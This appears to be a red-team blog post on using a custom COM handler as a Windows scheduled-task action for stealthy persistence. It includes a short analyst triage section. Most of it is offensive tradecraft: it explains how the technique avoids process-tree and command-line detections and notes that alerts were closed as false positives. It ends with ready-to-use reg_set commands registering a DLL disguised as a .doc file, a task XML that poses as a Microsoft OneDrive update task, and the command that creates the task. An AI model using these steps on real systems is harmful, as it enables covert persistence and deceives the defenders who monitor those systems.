🦹♂

Task Scheduler COM Handler

Introduction

The internet is full of resources about abusing scheduled tasks for persistence, privilege escalation, execution, lateral movement, and defense evasion. There are many articles on how to create, modify, or abuse a scheduled task using C\C++, Powershell, C#, and the command prompt. Two recent articles that I find interesting are Random Notes on Task Scheduler Lateral Movement by Riccardo Ancarani and Scheduled Tasks Tampering by WithSecure. However, none of the articles that I found online describes the creation of a COM handler for Scheduled Tasks abuse or the benefits of using a COM handler over an executable, so I wanted to write a short blog about it.
We will start with a quick look at scheduled tasks actions and move on to the benefits of using a COM handler (will be called a handler in this blog). Then, we will take a quick look at the actions that must be taken to correlate between a scheduled task and its handler and the process tree when using a handler. We will conclude with snippets that can be re-used to operationalize COM handlers in engagements.

Scheduled Tasks Actions

When we create a scheduled task, we specify the trigger (e.g., startup, login, etc.) and the action. The action can be a program to execute, send an email, display a message, or run a COM handler. Some might not be familiar with the last choice because the Scheduled Tasks GUI does not support using a COM handler as an action.
​
Scheduled Tasks Actions
Abusing scheduled tasks handlers is not a novel technique. Dominic Chell shows how to leverage COM Hijacking with scheduled tasks in this blog. In addition, COM handlers that are vulnerable to DLL hijacking can be abused to run a malicious DLL, which is demonstrated in Ricccardo's blog mentioned above. This blog is not about abusing existing COM handlers. It's about creating a new one.

The Benefits

The main benefit of using handlers over executables is stealth. Many might think that scheduled tasks are obsolete and not opsec safe. However, if you read the articles linked above, you might come to the conclusion that they are far from becoming obsolete. COM handlers is one of the reasons why Scheduled Tasks are not obsolete and will probably not be obsolete for some time to come.
Why are handlers tricky to detect and investigate?
  1. 1.
    There are many ways to perform the attack: you could register a class yourself, modify a registered class, or replace a file on disk. The registration or modification can take many variations: you could import a reg file, use the registry API directly, or the long forgotten INF files. You could create a task using schtasks, Task Scheduler API or the registry API. You could have your COM action as the second one, you could create a task or modify a new one, and so on. It does not matter how mature the SOC is, it seems that there is always a combination that is not covered by existing detections.
  2. 2.
    Process Tree: detection engineers and threat hunters usually rely on the suspicious process tree to detect scheduled tasks abuse. This usually translates to a commonly abused LOLBIN (Rundll32.exe, powershell.exe, cmd.exe, ...) being the child of the Task Scheduler service host. When using a handler, there will be nothing special about the process tree. We will take a look at the process tree of a handler later.
  3. 3.
    Command-line args: most EDRs and SOCs rely on command-line args for their detection. Depending on the combination of steps an operator chooses, there might be no command-line indicators at all.
The combination of multiple variations, benign process tree, and failure of conventional detections makes the abuse of handler a trusted technique against both detection and investigation. We have used handlers on multiple occasions, and even when an alert was triggered during the operation, it was still closed as an FP because analysts could not connect the dots.

Where Is My Handler?

Even when an analyst has access to a workstation, the COM handler action is trickier than its start a program counterpart from a quick triage perspective. This is because the GUI does not show COM handlers, it just says Custom Handler.
Task Scheduler GUI is not very helpful when it comes to COM handlers
The schtasks.exe also does not show the COM handler to be executed.
Schtasks is not better than the GUI when it comes to COM handlers
What an analyst will have to do is (this can be automated indeed)
  1. 1.
    Retrieve the CLSID using the XML file or some scripting\programming
  2. 2.
    Find that CLSID in the registry
  3. 3.
    Observe the default value InProcSever32 for that CLSID
  4. 4.
    Check the file pointed at by the InProcServer32 for malicious\suspicious indicators

Process Tree

When start a program is used as the action, the new process will spawn as a child process of the Task Scheduler service host process: svchost.exe -k netsvcs -p -s Schedule. Rundll32, Powershell, cmd, and LOLBINs in general are considered suspicious child processes of the Task Scheduler svchost (but trust me, they still show up now and then as legitimate behavior!)
Executable is child of the Task Scheduler Svchost. This CMD is suspicious
Depending on the maturity of the organization, they might alert on the child process being a LOLBIN, unsigned, uncommon, or in a user-writable path. However, the detection is a bit trickier when a handler is used, mainly because most detection engineers are unaware of the process tree of scheduled task handlers. The detection is also trickier because the native logs alone cannot be used for detection, you either need Sysmon or an EDR for that. The following image shows the process tree of a Scheduled Task handler.
If you are wondering where the handle is, it is the Dllhost.exe /Processid:{6B9279D0-D220-4288-AFDF-E424F558FEF2}. The process tree itself (services -> svchost -> dllhost) is a normal tree, the command line itself is common, and the loading of a DLL by Dllhost is an expected behavior.

The Implementation

Scheduled Tasks COM handlers are expected to implement the ITaskHandler interface. However, the implementation of the ITaskHandler interface is not mandatory for persistence to take place. Regardless, since I am interested in COM, I decided to implement the interface on the GitHub repository accompanying this post.
From an implementation perspective, there is nothing special about the handler. It is just a component that implements a documented interface. What I initially found challenging was the registration of the handler.
Before we take a look at the registration of the handler, let's take a look at the steps to accomplish persistence
  1. 1.
    Persistent artifact on disk: dropping the persistent payload. The payload location and extension are left to the discretion of the operator.
  2. 2.
    Scheduled task creation: self-explanatory. I like to use the on class registration or modification as a trigger while testing.
  3. 3.
    Registry setup: registering the handler. You may decide to modify a registered class or replace an existing DLL on disk instead.
Dropping an artifact to disk is straightforward, just keep in mind that the extension does not have to be a .DLL. The creation of the scheduled task (or modification of an existing one) should also be straightforward, but an XML is provided below for completion. The trickiest part from operational perspective is the registration. Normally, the abuse of COM handlers only requires the creation of a CLSID and its InProcServer32 subkey with the default value of the latter being the path of our DLL. However, ITaskHandler is expected to be a LocalServer32 (CLSCTX_LOCAL_SERVER) is specified when calling CoCreateInstance. Therefore, an InProcServer32 alone will not cut it. What we need is a DllSurrogate, which is specified in an AppId key. The correct structure is shown below
​
Key
Name
Value
HKCU\SOFTWARE\Classes\CLSID\<CLSID>
​
​
HKCU\SOFTWARE\Classes\CLSID\{GUID}
AppID
{GUID2}
HKCU\SOFTWARE\Classes\CLSID\{GUID}\InProcServer32
(Default)
DLL Path
HKCU\SOFTWARE\Classes\CLSID\{GUID}\InProcServer32
ThreadingModel
Both
HKCU\SOFTWARE\Classes\AppID\{GUID2}
DllSurrogate
""
Using the reg_set BOF from TrustedSec's Remote-Ops repo​sitory, the structure is translated to the following
//Create the CLSID Guid
reg_set HKCU "Software\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}" "" REG_SZ ""
​
//Fill in the AppId
reg_set HKCU "Software\Classes\CLSID\{ECABD3A3-725D-4334-AAFC-BB13234F1202}" "AppId" REG_SZ "{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}"
​
// create the InprocSever32 Key
reg_set HKCU "Software\\Classes\\CLSID\\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" "" REG_SZ ""
​
// Fill in the InProcSever32 values
reg_set HKCU "Software\\Classes\\CLSID\\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" "" REG_SZ "C:\Users\testuser11\AppData\comhandler.doc"
reg_set HKCU "Software\\Classes\\CLSID\\{ECABD3A3-725D-4334-AAFC-BB13234F1202}\InprocServer32" "ThreadingModel" REG_SZ "Both"
​
//Create the AppID guid
reg_set HKCU "Software\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}" "" REG_SZ ""
​
//Fill in the DllSurrogate
reg_set HKCU "Software\Classes\AppID\{AFABD3A3-784D-BE34-4F3C-BB13234F1E4A}" "DllSurrogate" REG_SZ ""
This is an example XML that can be used for the registration
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Author>Microsoft Corporation</Author>
<URI>\OneDrive Standalone Update Task-S-1-5-21-1299387972-143441575-8753562129-1001</URI>
</RegistrationInfo>
<Triggers>
<RegistrationTrigger id="Registration Trigger">
<Enabled>true</Enabled>
</RegistrationTrigger>
<CalendarTrigger>
<Repetition>
<Interval>PT1H</Interval>
<Duration>P1D</Duration>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2022-01-12T12:40:56</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>false</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1H</Interval>
<Count>999</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<ComHandler>
<ClassId>{ECABD3A3-725D-4334-AAFC-BB13234F1202}</ClassId>
</ComHandler>
</Actions>
</Task>
We can then create a scheduled task using the schtaskscreate BOF from TrustedSec's remote-ops repository.
schtaskscreate "\OneDrive Standalone Update Task-S-1-5-21-1299387972-143441575-8753562129-1001" USER CREATE
And that's it for today ;-)
Last modified 7mo ago